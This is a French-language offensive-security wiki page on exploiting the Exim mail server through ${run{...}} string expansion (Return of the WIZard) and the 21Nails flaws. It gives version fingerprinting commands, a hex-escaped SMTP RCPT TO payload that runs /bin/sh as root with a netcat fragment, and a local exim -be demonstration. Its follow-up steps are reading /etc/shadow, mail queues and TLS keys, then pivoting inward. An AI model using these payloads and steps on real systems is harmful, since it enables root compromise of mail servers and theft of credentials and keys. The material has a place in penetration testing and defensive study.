Exim

Le moteur d'expansion de chaînes d'Exim, atteint via une adresse de destinataire forgée sous certaines configurations de routeur et d'ACL, exécute des commandes shell via l'expansion ${run{...}} (la faille Return of the WIZard), et le cluster 21Nails ajoute des vecteurs BDAT et d'expansion locale. Exim s'exécute couramment en tant que root, un succès est donc une exécution de code au niveau root.

3 min de lecturemis à jour le 12 oct. 2026florianamette1 contributeur
Demander à votre assistant (MCP)Modifier sur GitHub

Exim est un MTA largement déployé dont le langage de configuration est un moteur d'expansion de chaînes : de nombreux champs de configuration sont expansés au moment de la délivrance, et l'expansion ${run{...}} exécute une commande externe. Lorsque des données contrôlées par l'attaquant (notamment une adresse de destinataire) parviennent à un champ expansé sous une configuration de routeur ou d'ACL vulnérable, ces données atteignent le moteur d'expansion et l'opérateur ${run{...}} exécute des commandes. C'est le mécanisme derrière l'exécution de commandes à distance « Return of the WIZard » dans le chemin de délivrance d'Exim, et le cluster 21Nails (un ensemble de failles divulguées ensemble par Qualys) ajoute d'autres vecteurs distants et locaux, y compris le traitement de la commande BDAT et l'abus d'expansion de chaînes locale via -be/-oMr. Exim s'exécute fréquemment en tant que root, de sorte que l'exécution de commandes ici est root, et non un utilisateur de messagerie à faibles privilèges.

Identifier#

bash
nc mail.victim.com 25
# 220 mx.victim.com ESMTP Exim 4.92 ...        <- banner names Exim and version
nmap -p25 -sV mail.victim.com                  # confirm product=Exim and the version
exim -bV                                       # local: prints the exact version and config

Faites correspondre la version à la faille : le RCE de délivrance par expansion de chaînes affecte une large bande de 4.x jusqu'à la version corrigée, et l'ensemble 21Nails couvre de nombreuses versions 4.x ; le comportement exact dépend aussi de la configuration routeur/ACL du site, de sorte qu'une version dans la plage est nécessaire mais pas suffisante à elle seule.

Mécanisme et charge utile guidée#

Le RCE du chemin de délivrance s'atteint en faisant en sorte que la partie locale du destinataire soit expansée via ${run{...}}. Des échappements antislash-hex font passer les slashs et les espaces à travers l'analyse d'adresse afin que le moteur d'expansion voie une commande exécutable :

text
MAIL FROM:<attacker@attacker.test>
RCPT TO:<${run{\x2Fbin\x2Fsh\x20-c\x20\x22id\x3Enetcat...\x22}}@localhost>
DATA
Received: trigger
.

Ici \x2F est /, \x20 est un espace, \x22 est " : le destinataire s'analyse comme une adresse locale dont l'expansion exécute /bin/sh -c "...". La délivrance vers cette adresse locale déclenche l'expansion, et comme le processus de délivrance est root, la commande s'exécute en tant que root. En pratique, la charge utile est montée en plusieurs étapes (écrire un script via un message, l'exécuter via un autre) car un seul RCPT a une longueur et une tolérance de caractères limitées, et le chemin vulnérable exige que le destinataire soit routé vers un routeur de délivrance locale qui expanse l'adresse.

Pour les vecteurs locaux de 21Nails, -be exécute le testeur d'expansion d'Exim, de sorte que exim -be '${run{/bin/sh -c id}}' démontre la même primitive localement, et les problèmes -oMr et BDAT offrent une joignabilité à distance sur les versions affectées.

Variantes et suites#

  • La dépendance à la configuration est le point de décision clé : le RCE de délivrance à distance nécessite que l'adresse atteigne un routeur/ACL expansant. Si la configuration proche de celle par défaut ne route pas votre partie locale forgée à travers l'expansion, pivotez vers le vecteur BDAT de 21Nails ou vers un vecteur local après tout point d'appui à moindre privilège.
  • L'exécution de code root sur le relais de messagerie est souvent exposée au périmètre : utilisez-la pour lire /etc/shadow, les files de courrier et les clés TLS, puis pivotez vers l'intérieur.

Outils#

Références#